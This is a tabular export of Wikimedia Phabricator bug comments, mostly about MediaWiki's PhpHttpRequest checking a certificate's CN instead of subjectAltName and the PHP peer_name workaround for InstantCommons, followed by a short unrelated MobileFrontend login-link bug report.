",,,1440981349,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.517241379310345,0.896551724137931,"Change 234927 had a related patch set uploaded (by Gergő Tisza):
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]
"
517445,PhpHttpRequest should not check host against CN x509 attribute,"Change 234926 had a related patch set uploaded (by Gergő Tisza):
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/234926]]
",,,1440981325,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.517241379310345,0.896551724137931,"Change 234926 had a related patch set uploaded (by Gergő Tisza):
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]
"
517444,PhpHttpRequest should not check host against CN x509 attribute,"Change 222086 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/222086]]",,,1440980926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.695652173913044,0.9130434782608695,"Change 222086 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]"
517243,PhpHttpRequest should not check host against CN x509 attribute,"> I have no information on what the relative install rate of php5-curl is on various popular web hosts, so I have no idea how worth it it is.

Which is kinda sad; we should have that kind of information. Maybe T56425 could be used to collect status of optional dependencies.",,,1440899220,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9259259259259259,"QUOTE

Which is kinda sad; we should have that kind of information. Maybe T56425 could be used to collect status of optional dependencies."
514845,PhpHttpRequest should not check host against CN x509 attribute,Is this ready to merge? into upcoming point releases?  we're basically way overdue for giving up on clients that can't do basic HTTPS...,,,1440592189,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,10.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9310344827586206,0.9655172413793104,Is this ready to merge? into upcoming point releases?  we're basically way overdue for giving up on clients that can't do basic HTTPS...
485951,PhpHttpRequest should not check host against CN x509 attribute,"For completeness here (I spoke about it in the gerrit patch), I was wrong about the resolution for PHP 5.5.6: peer_name is not recognized and the domain name check is silently ignored (so not a secure connection since there is no complete cert checking).",,,1435877915,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,4.0,4.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,10.0,12.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.137254901960785,0.8235294117647058,"For completeness here (I spoke about it in the gerrit patch), I was wrong about the resolution for PHP 5.5.6: peer_name is not recognized and the domain name check is silently ignored (so not a secure connection since there is no complete cert checking)."
485410,PhpHttpRequest should not check host against CN x509 attribute,"I aggree php-curl is really better than PHP on this case, but, on Debian at least, it is not installed by default so these two patches for PhpHttpRequest can save some users from wondering why InstantCommons doesn’t work, and possibly they are mandatory for some shared hosting (I have no hard data on installation rate).

I also dived into PHP source and also didn’t find the option peer_name before 5.6. I studied the part in 5.6 and I comment this on the gerrit page.",,,1435822266,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,0,True,2.0,0.0,0.0,1.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,3.9591836734693877,0.7551020408163265,"I aggree php-curl is really better than PHP on this case, but, on Debian at least, it is not installed by default so these two patches for PhpHttpRequest can save some users from wondering why InstantCommons doesn’t work, and possibly they are mandatory for some shared hosting (I have no hard data on installation rate).

I also dived into PHP source and also didn’t find the option peer_name before 5.6. I studied the part in 5.6 and I comment this on the gerrit page."
485382,PhpHttpRequest should not check host against CN x509 attribute,"> I tested peer_name with PHP 5.5.6 and it works correctly

Did you check that it correctly validates certificates, or does it just let anything through (Prior to the introduction of ""peer_name"", php just silently ignores that setting, and if CN_match is not set, will consider all certs valid)

When I do git grep --text peer_name php-5.5.7 on the php source (There doesn't seem to be a tag for 5.5.6), I don't get any results. I only start getting results in php-5.6.0, which makes me think the feature is not available until then",,,1435818365,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,True,,,0,True,2.0,1.0,0.0,1.0,4.0,2.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,1.0,4.0,0.0,12.0,11.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,3.0,2.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,9.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,7.0,11.0,4.0,0.0,2.0,0.0,7.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,0.0,3.99,0.75,"QUOTE

Did you check that it correctly validates certificates, or does it just let anything through (Prior to the introduction of ""peer_name"", php just silently ignores that setting, and if CN_match is not set, will consider all certs valid)

When I do git grep --text peer_name php-5.5.7 on the php source (There doesn't seem to be a tag for 5.5.6), I don't get any results. I only start getting results in php-5.6.0, which makes me think the feature is not available until then"
485240,PhpHttpRequest should not check host against CN x509 attribute,"Well we don't require either http(s) fopen or php-curl support to install, as making http requests is sufficiently a side feature that its ok if it doesn't work.

Personally I'd like instantcommons to work with as many configurations as possible, as its a feature often used by people who are relatively inexperianced (I think, I have no hard data on that). I have no information on what the relative install rate of php5-curl is on various popular web hosts, so I have no idea how worth it it is.

I'm definitely supportive of having the installer recommend to people to use php5-curl

>>! In T75199#1416995, @BBlack wrote:
> Also, note that we're nowhere near the bottom of the pile of problems these things are going to cause us eventually with completing all the corner-cases of the transition ... https://gerrit.wikimedia.org/r/#/c/221974/

Perhaps, but from the perspective of just enough features to make it work for the common case, this is probably fine.",,,1435790107,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,0.5,0.0,0.0,0.5,1.0,8.0,2.0,0.0,0.0,0.5,2.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,11.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,3.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,13.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.0,3.5,3.0,6.5,2.0,1.5,6.5,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,7.5,11.5,2.0,0.0,0.0,0.0,7.5,0.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,3.908321941216678,0.7318010936431989,"Well we don't require either http(s) fopen or php-curl support to install, as making http requests is sufficiently a side feature that its ok if it doesn't work.

Personally I'd like instantcommons to work with as many configurations as possible, as its a feature often used by people who are relatively inexperianced (I think, I have no hard data on that). I have no information on what the relative install rate of php5-curl is on various popular web hosts, so I have no idea how worth it it is.

I'm definitely supportive of having the installer recommend to people to use php5-curl

QUOTE
QUOTE

Perhaps, but from the perspective of just enough features to make it work for the common case, this is probably fine."
484859,PhpHttpRequest should not check host against CN x509 attribute,"Also, note that we're nowhere near the bottom of the pile of problems these things are going to cause us eventually with completing all the corner-cases of the transition ... https://gerrit.wikimedia.org/r/#/c/221974/",,,1435751706,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,20.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,20.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,4.228571428571429,0.8571428571428571,"Also, note that we're nowhere near the bottom of the pile of problems these things are going to cause us eventually with completing all the corner-cases of the transition ... URL"
484858,PhpHttpRequest should not check host against CN x509 attribute,"Forgive my ignorance of the nuances of the PHP ecosystem, but if php-curl is what is required for PHP (a language that's all about HTTP-based things) to have a sane HTTP[S] implementation available, why is it that we can't absolutely require the installation of php-curl as a pre-requisite?  And why on earth do we try to work around this by shipping a forked pure-PHP implementation of our own in the first place? :/",,,1435751632,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,1.0,0.0,1.0,1.0,1.0,6.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,8.0,4.0,2.0,11.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,4.0,2.0,0.0,0.0,5.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,3.7096774193548385,0.7204301075268817,"Forgive my ignorance of the nuances of the PHP ecosystem, but if php-curl is what is required for PHP (a language that's all about HTTP-based things) to have a sane HTTP[S] implementation available, why is it that we can't absolutely require the installation of php-curl as a pre-requisite?  And why on earth do we try to work around this by shipping a forked pure-PHP implementation of our own in the first place? :/"
484809,PhpHttpRequest should not check host against CN x509 attribute,"Change 222086 had a related patch set uploaded (by Brian Wolff):
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/222086]]
",,,1435742686,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.517241379310345,0.896551724137931,"Change 222086 had a related patch set uploaded (by Brian Wolff):
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]
"
484760,PhpHttpRequest should not check host against CN x509 attribute,"I gave the source for php 5.3.4 a very quick look. Its possible I missed something, but appears peer_name option is not there :(

I suspect that 5.6 is the first version it works based on other options that are listed as being added at that time

php sucks :'(",,,1435735140,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,0.0,2.0,2.0,4.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,7.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.8518518518518519,"I gave the source for php 5.3.4 a very quick look. Its possible I missed something, but appears peer_name option is not there :(

I suspect that 5.6 is the first version it works based on other options that are listed as being added at that time

php sucks :'("
484753,PhpHttpRequest should not check host against CN x509 attribute,">>! In T75199#1416274, @Seb35 wrote:
> According to https://secure.php.net/manual/en/context.ssl.php SNI is supported since PHP 5.3.2, so there shouldn’t be any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates.

We used to send per-domain certs with SNI, so commons would get one that had a CN of *.wikimedia.org, but looks like we don't anymore due to c02fab71422a490dbdcf (ping @BBlack)",,,1435733946,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,20.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,20.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.926829268292683,"QUOTE
QUOTE

We used to send per-domain certs with SNI, so commons would get one that had a CN of *.wikimedia.org, but looks like we don't anymore due to c02fab71422a490dbdcf (pingSCREEN_NAME)"
484692,PhpHttpRequest should not check host against CN x509 attribute,"According to https://secure.php.net/manual/en/context.ssl.php SNI is supported since PHP 5.3.2, so there shouldn’t be any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates.",,,1435711185,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,3.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,19.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,4.277777777777778,0.9166666666666666,"According to URL SNI is supported since PHP 5.3.2, so there shouldn’t be any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates."
484690,PhpHttpRequest should not check host against CN x509 attribute,"According to https://secure.php.net/manual/en/context.ssl.php SNI is supported since PHP 5.3.2, so there shouldn’t any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates.",,,1435711128,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,20.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,4.3428571428571425,0.9142857142857143,"According to URL SNI is supported since PHP 5.3.2, so there shouldn’t any problem from this side. Here the issue is more about the fields CN vs. subjectAltName of X.509 certificates."
484685,PhpHttpRequest should not check host against CN x509 attribute,Hmm. Does fopen not support sni?,,,1435710464,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Hmm. Does fopen not support sni?
484666,PhpHttpRequest should not check host against CN x509 attribute,"This can be solved by changing the options given to stream_context_create in PhpHttpRequest::execute from CN_match to peer_name (see https://secure.php.net/manual/en/context.ssl.php). But I still didn’t find the PHP versions where one or the other can be used; from PHP 5.6 CN_match becomes deprecated -- minimum PHP version for MediaWiki is currently 5.3.3.

I tested peer_name with PHP 5.5.6 and it works correctly (assuming T75203 is solved <=> a capath is set).",,,1435708892,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,6.0,18.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,11.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,3.0,4.443037974683544,0.7848101265822784,"This can be solved by changing the options given to stream_context_create in PhpHttpRequest::execute from CN_match to peer_name (see URL But I still didn’t find the PHP versions where one or the other can be used; from PHP 5.6 CN_match becomes deprecated -- minimum PHP version for MediaWiki is currently 5.3.3.

I tested peer_name with PHP 5.5.6 and it works correctly (assuming T75203 is solved <=> a capath is set)."
332148,PhpHttpRequest should not check host against CN x509 attribute,Adding this as a (soft) blocker of bug 53131 since it will lead to problems for people without CURL.,,,1415550283,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,27.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.727272727272727,1.0,Adding this as a (soft) blocker of bug 53131 since it will lead to problems for people without CURL.
74909,Login link redirect to default login (with MobileFrontend),"**Author:** `tim.schenk`

**Description:**
The link supplied by the mobile page redirects to :
http://wiki.firstconsulting.nl/Speciaal:Aanmelden <-- dutch 

This is the default login page and not the special GoogleLogin page. 
In my LocalSetting.php I have:
$wgGLReplaceMWLogin = true;

Is this a GoogleLogin bug, or a MobileFrontend bug?

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1415031660,1418170591.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_description,invalid,True,c3,1,False,False,True,-35,True,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,3.6705882352941175,0.6235294117647059,"**Author:** CODE

**Description:**
The link supplied by the mobile page redirects to :
URL <-- dutch 

This is the default login page and not the special GoogleLogin page. 
In my LocalSetting.php I have:
$wgGLReplaceMWLogin = true;

Is this a GoogleLogin bug, or a MobileFrontend bug?

--------------------------
**Version**: master
**Severity**: normal"
398857,Login link redirect to default login (with MobileFrontend),"@Jdlrobson: in general: yes :) But i thought, that we can let this task open as a ""Blocks"" for T74910?",,,1421152638,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,8.0,15.0,8.0,4.0,8.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.9230769230769231,"SCREEN_NAME: in general: yes :) But i thought, that we can let this task open as a ""Blocks"" for T74910?"
